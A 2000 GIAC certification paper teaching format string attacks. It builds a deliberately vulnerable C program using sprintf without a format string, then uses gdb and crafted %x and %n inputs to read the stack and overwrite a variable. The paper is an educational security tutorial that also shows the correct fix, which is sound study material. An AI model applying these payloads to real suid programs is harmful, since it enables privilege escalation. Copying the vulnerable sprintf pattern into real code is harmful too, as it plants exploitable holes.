Global Information Assurance Certification Paper

Format string attacks: 101

James Bowman
October 17, 2000

Format string attacks, or formats bugs, have been theorized about for many years but they only began to appear around the midpoint of this year. It appears that format bugs are going to be just as common as the buffer overflow bugs have been. It started out as a trickle of reports of format bugs. As people started examining the source code of their programs, the trickle opened like a faucet. The big reports included the "wu-ftpd site exec" bug in July, the "Qpopper POP3 server format bug" in May, the "rpc.statd format bug" in August, and the Unix "locale format bug" in September. Apparently, this is the point that the national media got a hold of the story.

For non-programmers, like myself, it is often helpful to work through an example of something before we can permanently commit it to memory. That is what we are going to do with this paper. We will have a brief description of what format bugs are and then work through a small example program showing the basics of how they work.

What are they?

Format bugs occur when a program receives unexpected user input. This is not just any old unexpected input. These inputs are strings specifically crafted to cause a privileged (suid) Unix program to allow privilege escalation by a normal user. The format bugs can trick the program into allowing arbitrary data to be written to the stack. When we can make the privileged program write arbitrary data to the stack, we "own" the program and we "own" the computer. There has been talk on the Bugtraq mailing lists about the possibility of format string attacks on Microsoft systems but I am not aware of any examples of this. Currently these bugs only affect Unix and Linux systems.

What causes them?

Format string attacks are caused by the same things that cause buffer overflows: lazy or careless programmers. The programmer intends to write something like this:

```
sprintf(buf, "%s", str);
```

But instead he gets lazy and types:

```
sprintf(buf, str);
```

He compiles his code and tests it. If it works, why give it a second thought. If that weren't the right way to do it, he would get an error from the compiler, wouldn't he? Wrong! What your friendly programmer has just done is given out the keys to the kingdom. When you run his code on your web server, file server, mail server, firewall, etc., his application is just waiting for someone to come along and give the "open sesame" command. Because our programmer has left out the format string ("%s"), sprintf looks at the string (str) as the format string. This is what will allow the attacker to compromise the program.

How do they work?

We need a little background information before we start with an example. The %x conversion specifier tells the sprintf function to output the corresponding variable in hex format. If there is not a corresponding variable, like above when we make a programming error using the sprintf function, sprintf retrieves a value off the stack. This is not good because we can read values we're not supposed to off the stack. When the %n format is encountered in the format string, the number of characters output before the %n field was encountered is stored at the address passed in the next argument. This is an important point. Since we have an error in our code and the program was not expecting to receive format strings as input, there is no next argument. So instead, sprintf writes the value to the stack. This is bad, because an attacker can craft an input string to cause our program to do something it's not supposed to do. Let's look at a simple example of this.

An example:

The following code snippet is our test program. The code uses two buffers (inbuf and outbuf). We included a target variable, target, just so we can attack it. The code reads standard input, copies inbuf to outbuf using sprintf (with no format string), and prints outbuf to the standard output.

```
[bowmanj@stinkpad Format]$ cat testprog.c

#include <stdio.h>

main(int argc, char **argv)
{

   char inbuf[100];
   char outbuf[100];
   int target=1;

   memset(inbuf, '\0', 100);
   memset(outbuf, '\0', 100);
   read(0, inbuf, 100);
   sprintf(outbuf, inbuf);  // This is the mistake
   printf("%s", outbuf);
}
```

The line beginning with the sprintf statement is the hole in our program. The correct way to write it would be:

```
sprintf(outbuf, "%s", inbuf);
```

First, we need to compile the program:

```
gcc -g -o testprog testprog.c
```

Now we need to run it in the debugger and give it the string "hello" as the input:

```
[bowmanj@stinkpad Format]$ gdb testprog
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
```

```
This GDB was configured as "i386-redhat-linux"...
(gdb) break printf
Breakpoint 1 at 0x8048378
(gdb) run
Starting program: /home/bowmanj/Format/testprog
hello

Breakpoint 1, main (argc=1, argv=0xbffffb74) at testprog.c:16
16    printf("%s", outbuf);
(gdb) print inbuf
$1 = "hello\n", '\000' <repeats 93 times>
(gdb) print &target
$2 = (int *) 0xbffffa5c
(gdb) print &outbuf
$3 = (char (*)[100]) 0xbffffa60
(gdb) print &inbuf
$4 = (char (*)[100]) 0xbffffac4
(gdb)
```

We give the program the string “hello” and then print the contents of inbuf to verify it’s there. The last three debugger commands print where the variables target, inbuf, and outbuf are in memory. We can now see how the variables are situated on the stack.

Variable name	Memory location
target	0xbffffa5c
outbuf	0xbffffa60
inbuf	0xbffffac4

We’re going to see how we can use the %x format to view any value on the stack. As we discussed above, this string should print out the argument following it as a hex number. In our case there is no argument following it because our string is being interpreted as a format. Let’s see what happens.

```
(gdb) run
Starting program: /home/bowmanj/Format/testprog
%x %x %x
1 2031 203133

Program exited with code 016.
(gdb)
```

It may not be clear from the example what we’re looking at so I’ll tell you. Our program has interpreted the “%x %x %x” as a format and printed three values off the stack The “1” is the value of our target variable. So now, we know we can read off the stack. Now we want to write to the stack.

Our goal is to show that we can control the value of the target variable by passing the program an unexpected string with embedded format characters in it. This is a very simple example but it will illustrate our point. First we want to get the address of the target variable into outbuf because we will need to use it to control where sprintf will write the value returned from the %n format character. We want to get it into the outbuf buffer since it is adjacent to the target variable. We’ll use the printf command to place the address of target into a text file in hex format. This will make it easier to get the value into our program.

```
[bowmanj@stinkpad Format]$ printf "\x5c\xfa\xff\xbf" > infile
```

Now we want to run our test program and see that we have placed the address of the target variable into outbuf properly using the file, infile, as our input.

```
(gdb) set args < infile
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bowmanj/Format/testprog < infile

Breakpoint 1, main (argc=1, argv=0xbffffb74) at testprog.c:16
16    printf("%s", outbuf);
(gdb) x/60x &target
0xbffffa5c:   0x00000001        0xbffffa5c      0x00000000      0x00000000
0xbffffa6c:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffa7c:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffa8c:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffa9c:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffaac:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffabc:   0x00000000        0x00000000      0xbffffa5c      0x00000000
0xbffffacc:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffadc:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffaec:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffafc:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffb0c:   0x00000000        0x00000000      0x00000000      0x00000000
0xbffffb1c:   0x00000000        0x00000000      0x00000000      0xbffffb48
0xbffffb2c:   0x400339cb        0x00000001      0xbffffb74      0xbffffb7c
0xbffffb3c:   0x40013868        0x00000001      0x080483c0      0x00000000
```

As we can see now we have the address of the target variable (0xbffffa5c) stored at the beginning of the outbuf buffer (0xbffffa60). Now is where the fun begins. Now we will use the %n format string we discussed earlier to our advantage. This is the format string that we will be using to change the value of the target variable. Our task is to control where it writes.

We will now add a %x and a %n to our input file. This will cause us to skip over the location of the target variable on the stack and use the next value off the stack. This next value will be the first four bytes of outbuf. Recall that we loaded outbuf with the address of the target variable so this is where the value will be written.

```
[bowmanj@stinkpad Format]$ printf "\x5c\xfa\xff\xbf%%x%%n" > infile
```

Lets test it out:

```
[bowmanj@stinkpad Format]$ gdb testprog
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) break 16
Breakpoint 1 at 0x80484c1: file testprog.c, line 16.
(gdb) set args < infile
(gdb) run
Starting program: /home/bowmanj/Format/testprog < infile

Breakpoint 1, main (argc=1, argv=0xbffffb74) at testprog.c:16
16    printf("%s", outbuf);
(gdb) print target
$1 = 5
(gdb)
```

We changed the value of target from 1 to 5. We can change it to other positive numbers by adding precision formats before the %x and causing it to be longer. This will change the value %n returns since it keeps a count of the number of characters output.

```
[bowmanj@stinkpad Format]$ printf "\x5c\xfa\xff\xbf%%.10x%%n" > infile
```

Lets test it again:

```
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/bowmanj/Format/testprog < infile

Breakpoint 1, main (argc=1, argv=0xbffffb74) at testprog.c:16
16    printf("%s", outbuf);
(gdb) print target
$2 = 14
(gdb)
```

Therefore, we have shown that we can read arbitrary values off the stack and we can control the values of variables on the stack. We can choose where we write by controlling the address we load into the buffer. We can control what we write by using the precision formats to adjust the count that %n returns. The next logical step would be to load shell code into memory and have our program execute it but that is beyond the scope of this paper.

There are a couple of great tutorials out there by Tim Newsham and Pascal Bouchareine that explain format bugs in greater detail as well as inserting shell code. If you are interested in format bugs, I would suggest you read their papers and work through their examples.

References:

1. Arce, Ivan. "UNIX locale format string vulnerability" September 4, 2000.
URL: http://www.securityfocus.com/archive/1/80154 (October 17, 2000).

2. Bouchareine, Pascal. "More info on format bugs."
URL: http://julianor.tripod.com/kalou-formats.txt (October 19, 2000)

3. Newsham, Tim. "Format String Attacks." September 2000.
URL: http://www.gaurdent.com/docs/FormatString.PDF (October 17, 2000).

4. Seifried, Kurt. "Format Strings." September 26, 2000.
URL: http://www.securityportal.com/articles/formatstrings20000926.printerfriendly.html (October 17, 2000).

5. Seifried, Kurt. "Format Strings: An Interview with Chris Evans." October 11, 2000.
URL: http://securityportal.com/closet/closet20001011.printerfriendly.html (October 17, 2000).

6. Shankland, Stephen. “Unix, Linux computers vulnerable to damaging new attacks”. September 7, 2000. URL: http://news.cnet.com/news/0-1003-202-2719802.html (October 18, 2000).